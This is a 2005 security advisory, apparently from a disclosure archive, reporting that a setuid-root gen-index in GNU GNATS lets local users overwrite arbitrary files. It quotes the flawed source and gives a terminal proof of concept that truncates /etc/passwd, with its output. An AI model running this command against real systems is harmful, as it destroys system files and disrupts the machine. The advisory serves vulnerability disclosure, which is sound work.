gnats.txt

`Name: GNATS - gen-index  
Vendor URL: http://www.gnu.org/software/gnats  
Author: Adam Zabrocki <[email protected]>  
Date: June 16, 2005  
  
Issue:  
  
  
GNATS - the GNU problem report management system allows attacker to overwrite  
files with privileges suid root (when compiled from sources and there isn't in system  
gnats user), where GNATS is installed.  
  
  
Description:  
  
  
GNATS stores all information about the problem reports at a central site, and enables  
users to access this site by various means, including e-mail, WWW, and a network daemon.  
New problem reports can be created, and existing reports can be queried and updated, by  
most of these means.  
  
  
Details:  
  
  
Possible overwrite any files in system by gen-index program installed  
with GNATS.  
  
  
Local users, able to run gen-index (in some times when GNATS was compiled from sources  
and in system don't exist gnats user and group) are able to overwrite any files in system.  
The problem lies in gen-index main() function, which don't check argument who was given  
to program and in hard open and write there own data.  
  
"gnats/gen-index.c"  
int  
main (int argc, char **argv)  
{  
...  
...  
  
while ((optc = getopt_long (argc, argv, "o:hd:nVie",  
long_options, (int *) 0)) != EOF)  
{  
switch (optc)  
{  
...  
...  
case 'o':  
file_name = optarg;  
break;  
  
case 'n':  
numeric_sorting = TRUE;  
break;  
...  
...  
}  
}  
  
...  
...  
  
if (file_name)  
output = fopen (file_name, "w+");  
if (output == (FILE *) NULL)  
{  
fprintf (stderr, "%s: can't write to %s: %s\n", program_name,  
optarg, strerror (errno));  
exit (3);  
}  
  
...  
...  
  
if (indexIsBinary (database))  
{  
char numFields = indexFieldCount (database);  
fwrite (&numFields, 1, 1, output);  
}  
  
...  
...  
if (numeric_sorting && num_entries > 0)  
{  
qsort (entries, num_entries, sizeof (Entry), entry_cmp);  
for (i = 0; i < num_entries; i++)  
{  
fwrite (entries[i].string, 1, entries[i].length, output);  
}  
}  
  
fclose (output);  
...  
exit (0);  
}  
  
  
Function fopen() with argument "w+" open file for reading and writing.  
The file is created if it does not exist, otherwise it is truncated.  
So when gen-index have suid root privilages we can overwrite any files  
in system.  
  
  
Exploit:  
  
  
We don't need to write any 31337 exploit. Simple PoC:  
  
pi3@darkstar:~$ pwd  
/home/pi3  
pi3@darkstar:~$ ls -alh /etc/passwd  
-rw-r--r-- 1 root root 795 May 19 18:49 /etc/passwd  
pi3@darkstar:~$ ls -alh /usr/local/libexec/gnats/gen-index  
-r-sr-xr-x 1 root root 465k Nov 21 2004 /usr/local/libexec/gnats/gen-index*  
pi3@darkstar:~$ /usr/local/libexec/gnats/gen-index -n -o /etc/passwd  
pi3@darkstar:~$ ls -alh /etc/passwd  
-rw-r--r-- 1 root root 1 Jun 16 17:34 /etc/passwd  
pi3@darkstar:~$ cat /etc/passwd  
pi3@darkstar:~$  
  
  
GNATS 4.1.0 and 4.0 are confirmed vulnerable. Probably all previous versions are also vulnerable.  
  
I have informed GNATS team.  
  
--  
pi3 (pi3ki31ny) - [email protected]  
http://www.pi3.int.pl  
`